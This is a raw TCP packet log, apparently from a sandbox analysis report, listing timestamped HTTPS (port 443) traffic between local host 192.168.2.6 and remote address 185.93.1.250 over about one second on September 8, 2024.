Sep 8, 2024 09:53:47.713327885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.713340998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.713388920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.713388920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.715034962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.715049982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.715148926 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.715153933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.715194941 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.715683937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.715698004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.715789080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.715789080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.715796947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.715857029 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.716610909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.716630936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.716814995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.716820002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.717030048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.717056990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.717094898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.717094898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.717099905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.717286110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.717286110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.720557928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.720577002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.720629930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.720643997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.721019983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.798245907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.798271894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.798336983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.798346996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.798386097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.798508883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.799047947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.799062014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.799160004 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.799160004 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.799168110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.799367905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.800592899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.800606012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.801089048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.801095009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.801187992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.802141905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.802161932 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.802203894 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.802208900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.802246094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.802264929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.802900076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.802913904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.803045034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.803050995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.803245068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.803781033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.803795099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.803879976 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.803884983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.804125071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.804146051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.804167986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.804167986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.804181099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.804214954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.804308891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.807578087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.807590961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.807677031 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.807682991 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.807780027 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.129132986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.129160881 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.129211903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.129225969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.129268885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.129292965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.129371881 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.129385948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.129429102 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.129431009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.129446030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.129465103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.129466057 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.129487991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.129494905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.129519939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.129534960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.130260944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.130273104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.130331039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.130337000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.130347013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.130367994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.130430937 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.130435944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.130465984 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.130589008 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131006956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131021023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131064892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131071091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131127119 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131133080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131149054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131191015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131206989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131213903 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131234884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131243944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131247044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131283998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131808043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131820917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131870985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131875992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131901979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131920099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131922960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131932020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131948948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131968021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131979942 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.131980896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.131990910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.132011890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.132035971 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.132759094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.132774115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.132826090 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.132831097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.132867098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.132893085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.132905960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.132946968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.132951021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.132977962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.132994890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.133662939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133677006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133724928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.133729935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133745909 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133755922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.133759975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133769989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133795023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.133800030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133821964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.133838892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.133852005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133868933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133910894 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.133915901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.133958101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.134783983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.134799004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.134841919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.134848118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.134870052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.134874105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.134886026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.134893894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.134902000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.134917021 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.134960890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.135931015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.135945082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136015892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136022091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136065960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136074066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136087894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136111975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136116028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136148930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136163950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136272907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136287928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136317015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136321068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136360884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136409044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136424065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136460066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136465073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136514902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136553049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136567116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136594057 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136598110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136621952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136642933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136863947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136878014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136917114 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.136923075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.136955023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.146570921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.146588087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.146635056 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.146645069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.146682978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.148029089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.148042917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.148101091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.148106098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.148163080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.148662090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.148677111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.148722887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.148727894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.148761034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.150171995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.150187969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.150233984 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.150239944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.150273085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.152163982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.152178049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.152230978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.152235985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.152287006 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.152554989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.152569056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.152607918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.152612925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.152638912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.152652979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.152877092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.152890921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.152950048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.152955055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.152990103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.155694962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.155709028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.155776024 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.155781031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.155812979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.234046936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.234071016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.234134912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.234149933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.234189987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.234827995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.234842062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.234894037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.234899998 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.234936953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.235697985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.235716105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.235773087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.235778093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.235811949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.237195015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.237209082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.237273932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.237279892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.237310886 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.238742113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.238759041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.238815069 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.238821030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.238858938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.239317894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.239331961 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.239379883 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.239384890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.239418030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.239687920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.239701986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.239749908 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.239754915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.239784956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.242779016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.242794037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.242861032 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.242867947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.242902994 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.320720911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.320741892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.320782900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.320794106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.320813894 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.320830107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.322706938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.322724104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.322768927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.322771072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.322781086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.322801113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.322809935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.322875023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.322875023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.322881937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.322993040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.324188948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.324203968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.324234009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.324239016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.324264050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.324281931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.325699091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.325711966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.325757980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.325763941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.325792074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.326045990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.326062918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.326107025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.326112986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.326133966 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.326149940 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.326399088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.326411963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.326481104 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.326487064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.326528072 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.329724073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.329739094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.329791069 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.329802990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.329834938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.408071041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.408093929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.408137083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.408154011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.408170938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.408210993 CEST	49710	443	192.168.2.6	185.93.1.250
